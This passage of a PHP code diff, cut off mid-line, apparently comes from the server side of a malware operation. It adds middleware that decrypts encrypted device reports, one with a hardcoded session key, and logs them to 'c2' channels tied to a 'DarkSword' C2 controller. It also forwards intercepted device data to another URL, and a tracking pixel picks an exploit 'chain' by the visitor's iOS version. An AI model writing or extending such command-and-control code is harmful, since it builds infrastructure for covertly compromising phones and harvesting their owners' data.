public function __invoke(Request $request): Response
|
||||||
{
|
{
|
||||||
// Log before resolving Nutgram — DI failures previously 500'd with no controller log.
|
app(TelegramBotContext::class)->setAgent(null);
|
||||||
|
|
||||||
$raw = $request->getContent();
|
$raw = $request->getContent();
|
||||||
$update = $request->all();
|
$update = $request->all();
|
||||||
if ($update === [] && is_string($raw) && $raw !== '') {
|
if ($update === [] && is_string($raw) && $raw !== '') {
|
||||||
@@ -27,24 +30,23 @@ class TelegramWebhookController extends Controller
|
|||||||
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
|
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
|
||||||
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
||||||
$updateId = $update['update_id'] ?? null;
|
$updateId = $update['update_id'] ?? null;
|
||||||
|
|
||||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
|
||||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||||
|
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
|
||||||
|
|
||||||
$this->webhookLog('info', 'telegram webhook hit', [
|
$this->webhookLog('info', 'telegram webhook hit', [
|
||||||
'ip' => $request->ip(),
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
'update_id' => $updateId,
|
'update_id' => $updateId,
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
'text' => $text,
|
'text' => $text,
|
||||||
'has_secret_header' => $header !== '',
|
'has_secret_header' => $header !== '',
|
||||||
'secret_configured' => $secret !== '',
|
'secret_configured' => $expectedSecret !== '',
|
||||||
'body_bytes' => strlen($raw),
|
'body_bytes' => strlen($raw),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if ($secret !== '') {
|
if ($expectedSecret !== '') {
|
||||||
if ($header === '' || ! hash_equals($secret, $header)) {
|
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||||
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
||||||
'ip' => $request->ip(),
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
'update_id' => $updateId,
|
'update_id' => $updateId,
|
||||||
]);
|
]);
|
||||||
abort(403, 'Invalid webhook secret');
|
abort(403, 'Invalid webhook secret');
|
||||||
@@ -52,7 +54,6 @@ class TelegramWebhookController extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
/** @var Nutgram $bot */
|
|
||||||
$bot = app(Nutgram::class);
|
$bot = app(Nutgram::class);
|
||||||
$bot->run();
|
$bot->run();
|
||||||
$this->webhookLog('info', 'telegram webhook handled', [
|
$this->webhookLog('info', 'telegram webhook handled', [
|
||||||
@@ -61,7 +62,6 @@ class TelegramWebhookController extends Controller
|
|||||||
'handler' => $bot->currentHandler()?->getPattern(),
|
'handler' => $bot->currentHandler()?->getPattern(),
|
||||||
]);
|
]);
|
||||||
} catch (Throwable $e) {
|
} catch (Throwable $e) {
|
||||||
// Always ACK to Telegram — returning 500 causes pending_update backlog.
|
|
||||||
$this->webhookLog('error', 'telegram webhook failed', [
|
$this->webhookLog('error', 'telegram webhook failed', [
|
||||||
'message' => $e->getMessage(),
|
'message' => $e->getMessage(),
|
||||||
'exception' => $e::class,
|
'exception' => $e::class,
|
||||||
@@ -72,7 +72,6 @@ class TelegramWebhookController extends Controller
|
|||||||
]);
|
]);
|
||||||
|
|
||||||
if (app()->runningUnitTests() && $e instanceof \InvalidArgumentException) {
|
if (app()->runningUnitTests() && $e instanceof \InvalidArgumentException) {
|
||||||
// FakeNutgram with no queued update in unit tests.
|
|
||||||
return response()->noContent();
|
return response()->noContent();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -83,10 +82,6 @@ class TelegramWebhookController extends Controller
|
|||||||
/** @param array<string, mixed> $context */
|
/** @param array<string, mixed> $context */
|
||||||
private function webhookLog(string $level, string $message, array $context = []): void
|
private function webhookLog(string $level, string $message, array $context = []): void
|
||||||
{
|
{
|
||||||
try {
|
SafeLog::channel('telegram')->{$level}($message, $context);
|
||||||
Log::{$level}($message, $context);
|
|
||||||
} catch (Throwable) {
|
|
||||||
error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,36 +4,80 @@ namespace App\Http\Controllers\Hooks;
|
|||||||
|
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Services\Tokenview\TokenviewMonitorService;
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use App\Support\SafeLog;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Illuminate\Http\Response;
|
use Illuminate\Http\Response;
|
||||||
use Illuminate\Support\Facades\Log;
|
use Throwable;
|
||||||
|
|
||||||
class TokenviewWebhookController extends Controller
|
class TokenviewWebhookController extends Controller
|
||||||
{
|
{
|
||||||
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
||||||
{
|
{
|
||||||
$raw = $request->getContent();
|
|
||||||
$signature = $request->header('X-Tokenview-Signature');
|
|
||||||
|
|
||||||
if (! $monitor->verifySignature($raw, $signature)) {
|
|
||||||
Log::warning('tokenview webhook bad signature');
|
|
||||||
|
|
||||||
return response('invalid signature', 401);
|
|
||||||
}
|
|
||||||
|
|
||||||
$payload = $request->json()->all();
|
|
||||||
if (! is_array($payload) || $payload === []) {
|
|
||||||
$decoded = json_decode($raw, true);
|
|
||||||
$payload = is_array($decoded) ? $decoded : [];
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$monitor->handleWebhook($payload);
|
$raw = $request->getContent();
|
||||||
} catch (\Throwable $e) {
|
$signature = $request->header('X-Tokenview-Signature');
|
||||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
$payload = $this->decodePayload($request, $raw);
|
||||||
|
|
||||||
|
$this->tvLog('info', 'tokenview webhook received', [
|
||||||
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
|
'method' => $request->method(),
|
||||||
|
'has_signature' => is_string($signature) && $signature !== '',
|
||||||
|
'body_bytes' => strlen($raw),
|
||||||
|
'payload' => $payload !== [] ? $payload : $raw,
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Tokenview probes the webhook (often unsigned GET/POST) before a
|
||||||
|
// sign key exists. Always 200 + non-empty body; only skip ingest.
|
||||||
|
$signed = $monitor->verifySignature($raw, $signature);
|
||||||
|
if (! $signed) {
|
||||||
|
$this->tvLog('warning', 'tokenview webhook bad signature (acked 200, skipped ingest)', [
|
||||||
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
|
'body_bytes' => strlen($raw),
|
||||||
|
]);
|
||||||
|
} elseif ($payload !== []) {
|
||||||
|
try {
|
||||||
|
$monitor->handleWebhook($payload);
|
||||||
|
} catch (Throwable $e) {
|
||||||
|
$this->tvLog('warning', 'tokenview webhook handle failed: '.$e->getMessage(), [
|
||||||
|
'exception' => $e::class,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable $e) {
|
||||||
|
$this->tvLog('warning', 'tokenview webhook crashed: '.$e->getMessage(), [
|
||||||
|
'exception' => $e::class,
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Tokenview requires HTTP 200 + non-empty body.
|
|
||||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function decodePayload(Request $request, string $raw): array
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
$payload = $request->json()->all();
|
||||||
|
if (is_array($payload) && $payload !== []) {
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
} catch (Throwable) {
|
||||||
|
}
|
||||||
|
|
||||||
|
$decoded = json_decode($raw, true);
|
||||||
|
|
||||||
|
return is_array($decoded) ? $decoded : [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @param array<string, mixed> $context */
|
||||||
|
private function tvLog(string $level, string $message, array $context = []): void
|
||||||
|
{
|
||||||
|
$dir = storage_path('logs/tokenview');
|
||||||
|
if (! is_dir($dir)) {
|
||||||
|
@mkdir($dir, 0775, true);
|
||||||
|
}
|
||||||
|
SafeLog::channel('tokenview')->{$level}($message, $context);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,94 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers;
|
||||||
|
|
||||||
|
use App\Jobs\RecordPageHit;
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
|
use App\Support\UserAgentParser;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Http\Response;
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
|
||||||
|
class PageHitController extends Controller
|
||||||
|
{
|
||||||
|
private const GIF_1X1 = "GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;";
|
||||||
|
|
||||||
|
public function __invoke(Request $request): Response
|
||||||
|
{
|
||||||
|
$channelId = trim((string) $request->query('c', $request->input('c', '')));
|
||||||
|
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
|
||||||
|
$newCode = Channel::normalizeNewChannelId($channelId);
|
||||||
|
if ($newCode !== null) {
|
||||||
|
$channelId = $newCode;
|
||||||
|
} else {
|
||||||
|
$channelId = strtolower($channelId);
|
||||||
|
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
|
||||||
|
return $this->pixel();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
|
||||||
|
return $this->pixel();
|
||||||
|
}
|
||||||
|
|
||||||
|
$ip = VisitorIp::fromRequest($request);
|
||||||
|
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||||
|
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||||
|
|
||||||
|
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
|
||||||
|
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||||
|
return $this->pixel();
|
||||||
|
}
|
||||||
|
|
||||||
|
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||||
|
$parsed = UserAgentParser::parse($ua);
|
||||||
|
$referer = $this->referer($request);
|
||||||
|
|
||||||
|
$attrs = [
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'client_uid' => $uid,
|
||||||
|
'user_agent' => $ua !== '' ? $ua : null,
|
||||||
|
'os' => $parsed['os'],
|
||||||
|
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
|
||||||
|
'browser' => $parsed['browser'],
|
||||||
|
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||||
|
'ip' => $ip !== '' ? $ip : null,
|
||||||
|
'country' => CfIpCountry::fromRequest($request),
|
||||||
|
'domain' => $domain,
|
||||||
|
'referer' => $referer,
|
||||||
|
];
|
||||||
|
$chain = PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']);
|
||||||
|
if (config('queue.default') === 'sync') {
|
||||||
|
PageVisit::recordLanding($attrs, $chain);
|
||||||
|
} else {
|
||||||
|
RecordPageHit::dispatch($attrs, $chain);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->pixel();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function referer(Request $request): ?string
|
||||||
|
{
|
||||||
|
$referer = trim((string) $request->query('r', $request->input('r', '')));
|
||||||
|
if ($referer === '') {
|
||||||
|
$referer = trim((string) $request->headers->get('referer', ''));
|
||||||
|
}
|
||||||
|
if ($referer === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return substr($referer, 0, 512);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function pixel(): Response
|
||||||
|
{
|
||||||
|
return response(self::GIF_1X1, 200, [
|
||||||
|
'Content-Type' => 'image/gif',
|
||||||
|
'Content-Length' => (string) strlen(self::GIF_1X1),
|
||||||
|
'Cache-Control' => 'no-store, no-cache, must-revalidate, max-age=0',
|
||||||
|
'Pragma' => 'no-cache',
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,8 +2,10 @@
|
|||||||
|
|
||||||
namespace App\Http\Middleware;
|
namespace App\Http\Middleware;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
use App\Services\CorunaCrypto;
|
use App\Services\CorunaCrypto;
|
||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
use Closure;
|
use Closure;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
@@ -81,19 +83,21 @@ class DecryptCorunaBody
|
|||||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||||
}
|
}
|
||||||
|
|
||||||
create_log([
|
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||||
'dir' => 'in',
|
create_log([
|
||||||
'method' => $request->method(),
|
'dir' => 'in',
|
||||||
'path' => $path,
|
'method' => $request->method(),
|
||||||
'ip' => $request->ip(),
|
'path' => $path,
|
||||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
'timestamp_hdr' => $timestamp ?: null,
|
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||||
'headers' => $headers,
|
'timestamp_hdr' => $timestamp ?: null,
|
||||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
'headers' => $headers,
|
||||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||||
'decrypt_ok' => $decryptOk,
|
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||||
'error' => $error,
|
'decrypt_ok' => $decryptOk,
|
||||||
], 'c2');
|
'error' => $error,
|
||||||
|
], 'c2');
|
||||||
|
}
|
||||||
|
|
||||||
$request->attributes->set('coruna_payload', $payload);
|
$request->attributes->set('coruna_payload', $payload);
|
||||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||||
@@ -108,6 +112,10 @@ class DecryptCorunaBody
|
|||||||
|
|
||||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||||
{
|
{
|
||||||
|
if (! Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
$respBody = (string) $response->getContent();
|
$respBody = (string) $response->getContent();
|
||||||
$respTs = (string) $response->headers->get('timestamp', '');
|
$respTs = (string) $response->headers->get('timestamp', '');
|
||||||
$respHeaders = [];
|
$respHeaders = [];
|
||||||
@@ -139,7 +147,7 @@ class DecryptCorunaBody
|
|||||||
'dir' => 'out',
|
'dir' => 'out',
|
||||||
'method' => $request->method(),
|
'method' => $request->method(),
|
||||||
'path' => $path,
|
'path' => $path,
|
||||||
'ip' => $request->ip(),
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||||
'status' => $response->getStatusCode(),
|
'status' => $response->getStatusCode(),
|
||||||
'timestamp_hdr' => $respTs ?: null,
|
'timestamp_hdr' => $respTs ?: null,
|
||||||
|
|||||||
@@ -0,0 +1,110 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Middleware;
|
||||||
|
|
||||||
|
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\CorunaCrypto;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use Closure;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* xxbb native reporting: same AES envelope as lab, header is x-ts,
|
||||||
|
* session key is hardcoded Ek8pl31K2yeHgQwy.
|
||||||
|
*/
|
||||||
|
class DecryptXxbbBody
|
||||||
|
{
|
||||||
|
public static function crypto(): CorunaCrypto
|
||||||
|
{
|
||||||
|
return app('xxbb.crypto');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(Request $request, Closure $next): Response
|
||||||
|
{
|
||||||
|
if (DarkSwordC2Controller::matches($request)) {
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
$crypto = self::crypto();
|
||||||
|
$meta = c2_log_request_meta($request);
|
||||||
|
|
||||||
|
$raw = $request->getContent();
|
||||||
|
$timestamp = (string) $request->header('x-ts', '');
|
||||||
|
$payload = null;
|
||||||
|
$decryptOk = false;
|
||||||
|
$error = null;
|
||||||
|
$deviceKey = null;
|
||||||
|
|
||||||
|
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||||
|
$path = '/'.ltrim($request->path(), '/');
|
||||||
|
|
||||||
|
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
|
||||||
|
$decryptOk = true;
|
||||||
|
} elseif ($isMultipart) {
|
||||||
|
$payload = [
|
||||||
|
'form' => $request->except(['file']),
|
||||||
|
'has_file' => $request->hasFile('file'),
|
||||||
|
];
|
||||||
|
$decryptOk = true;
|
||||||
|
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||||
|
} elseif ($raw !== '' && $timestamp !== '') {
|
||||||
|
try {
|
||||||
|
$payload = $crypto->decryptJsonBody($raw, $timestamp);
|
||||||
|
$decryptOk = true;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$error = $e->getMessage();
|
||||||
|
}
|
||||||
|
} elseif ($raw === '') {
|
||||||
|
$decryptOk = true;
|
||||||
|
} else {
|
||||||
|
$error = 'missing x-ts or body';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (is_array($payload)) {
|
||||||
|
foreach (['d', 'f', 'ecid'] as $k) {
|
||||||
|
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||||
|
$deviceKey = $payload[$k];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||||
|
foreach (['d', 'f', 'ecid'] as $k) {
|
||||||
|
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||||
|
$deviceKey = $payload['form'][$k];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (is_string($deviceKey) && $deviceKey !== '') {
|
||||||
|
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||||
|
create_log([
|
||||||
|
'dir' => 'in',
|
||||||
|
'method' => $request->method(),
|
||||||
|
'path' => $path,
|
||||||
|
'ip' => $meta['ip'],
|
||||||
|
'remote_addr' => $meta['remote_addr'],
|
||||||
|
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||||
|
'timestamp_hdr' => $timestamp ?: null,
|
||||||
|
'headers' => $meta['headers'],
|
||||||
|
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||||
|
'decrypt_ok' => $decryptOk,
|
||||||
|
'error' => $error,
|
||||||
|
], 'xxbb');
|
||||||
|
}
|
||||||
|
|
||||||
|
$request->attributes->set('coruna_payload', $payload);
|
||||||
|
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||||
|
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||||
|
$request->attributes->set('coruna_new_builder', true);
|
||||||
|
$request->attributes->set('coruna_xxbb_core', in_array($path, ['/a', '/u', '/event'], true));
|
||||||
|
$request->attributes->set('xxbb_ts', $timestamp);
|
||||||
|
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Middleware;
|
||||||
|
|
||||||
|
use Closure;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Restrict admin / agent panels to configured Host allowlists.
|
||||||
|
* Empty allowlist = no restriction (dev / bootstrap safe).
|
||||||
|
*/
|
||||||
|
class EnsurePanelHost
|
||||||
|
{
|
||||||
|
public function handle(Request $request, Closure $next, string $panel = 'admin'): Response
|
||||||
|
{
|
||||||
|
$hosts = match ($panel) {
|
||||||
|
'admin' => config('coruna.panel.admin_hosts', []),
|
||||||
|
'agent' => config('coruna.panel.agent_hosts', []),
|
||||||
|
default => [],
|
||||||
|
};
|
||||||
|
|
||||||
|
if (! is_array($hosts) || $hosts === []) {
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
$allowed = array_values(array_filter(array_map(
|
||||||
|
static fn ($h) => strtolower(trim((string) $h)),
|
||||||
|
$hosts
|
||||||
|
)));
|
||||||
|
|
||||||
|
if ($allowed === []) {
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
$host = strtolower($request->getHost());
|
||||||
|
if (! in_array($host, $allowed, true)) {
|
||||||
|
abort(404);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,275 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Middleware;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use Closure;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Intercept requests from designated device IDs.
|
||||||
|
*
|
||||||
|
* Runs AFTER DecryptXxbbBody / DecryptCorunaBody so that the normalized
|
||||||
|
* device key is available via the `coruna_device_key` request attribute.
|
||||||
|
*
|
||||||
|
* For each matched request the middleware:
|
||||||
|
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||||
|
* 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that
|
||||||
|
* response. Local controllers are not invoked (no ingest / DB writes).
|
||||||
|
*/
|
||||||
|
class InterceptDeviceData
|
||||||
|
{
|
||||||
|
public function handle(Request $request, Closure $next): Response
|
||||||
|
{
|
||||||
|
$deviceKey = $this->resolveDeviceKey($request);
|
||||||
|
|
||||||
|
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||||
|
try {
|
||||||
|
return $this->intercept($request, $deviceKey);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||||
|
'device_key' => $deviceKey,
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response('', 502);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $next($request);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve the normalized device key for this request.
|
||||||
|
*
|
||||||
|
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||||
|
* Falls back to request input fields (d / f / ecid, then uuid / lhu)
|
||||||
|
* for multipart or DarkSword requests where decrypt skipped the attribute.
|
||||||
|
*/
|
||||||
|
private function resolveDeviceKey(Request $request): string
|
||||||
|
{
|
||||||
|
$key = $request->attributes->get('coruna_device_key');
|
||||||
|
if (is_string($key) && $key !== '') {
|
||||||
|
return $key;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (['d', 'f', 'ecid'] as $field) {
|
||||||
|
$value = $request->input($field);
|
||||||
|
if (is_string($value) && $value !== '') {
|
||||||
|
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) {
|
||||||
|
$value = $request->input($field);
|
||||||
|
if (is_string($value) && $value !== '') {
|
||||||
|
return Device::normalizeDarkswordKey($value) ?? '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Case-insensitive membership check against the configured device list.
|
||||||
|
*/
|
||||||
|
private function shouldIntercept(string $deviceKey): bool
|
||||||
|
{
|
||||||
|
$list = config('coruna.intercept.device_keys', []);
|
||||||
|
if (! is_array($list) || $list === []) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return in_array(strtolower($deviceKey), $list, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Log + proxy. Does not fall through to local C2 handlers.
|
||||||
|
*/
|
||||||
|
private function intercept(Request $request, string $deviceKey): Response
|
||||||
|
{
|
||||||
|
$meta = $this->collectMeta($request, $deviceKey);
|
||||||
|
|
||||||
|
$this->writeLog($meta);
|
||||||
|
|
||||||
|
return $this->forward($request, $meta);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gather request metadata for the intercept log.
|
||||||
|
*/
|
||||||
|
private function collectMeta(Request $request, string $deviceKey): array
|
||||||
|
{
|
||||||
|
$path = '/'.ltrim($request->path(), '/');
|
||||||
|
|
||||||
|
return [
|
||||||
|
'time' => date('Y-m-d H:i:s'),
|
||||||
|
'device_key' => $deviceKey,
|
||||||
|
'method' => $request->method(),
|
||||||
|
'path' => $path,
|
||||||
|
'uri' => $request->getRequestUri(),
|
||||||
|
'ip' => VisitorIp::fromRequest($request),
|
||||||
|
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||||
|
'host' => $request->getHost(),
|
||||||
|
'content_type' => (string) $request->header('content-type'),
|
||||||
|
'content_length' => strlen($request->getContent()),
|
||||||
|
'headers' => $this->collectHeaders($request),
|
||||||
|
'payload' => $this->collectPayload($request),
|
||||||
|
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Select headers worth recording (skip cookie / authorization for safety).
|
||||||
|
*/
|
||||||
|
private function collectHeaders(Request $request): array
|
||||||
|
{
|
||||||
|
$headers = [];
|
||||||
|
foreach ([
|
||||||
|
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
|
||||||
|
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
|
||||||
|
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
||||||
|
] as $h) {
|
||||||
|
if ($request->headers->has($h)) {
|
||||||
|
$headers[$h] = $request->headers->get($h);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Best-effort payload snapshot for the log.
|
||||||
|
*
|
||||||
|
* Uses the decrypted payload when the decrypt middleware set it;
|
||||||
|
* otherwise records the raw body (truncated for very large uploads).
|
||||||
|
*/
|
||||||
|
private function collectPayload(Request $request): mixed
|
||||||
|
{
|
||||||
|
$payload = $request->attributes->get('coruna_payload');
|
||||||
|
if (is_array($payload)) {
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
$raw = $request->getContent();
|
||||||
|
if (strlen($raw) > 200000) {
|
||||||
|
return ['_raw_truncated' => substr($raw, 0, 200000)];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $raw === '' ? null : ['_raw' => $raw];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Append the interception record to public/log/intercept/Ymd.log.
|
||||||
|
*/
|
||||||
|
private function writeLog(array $meta): void
|
||||||
|
{
|
||||||
|
$logPath = public_path('log/intercept');
|
||||||
|
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||||
|
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
|
||||||
|
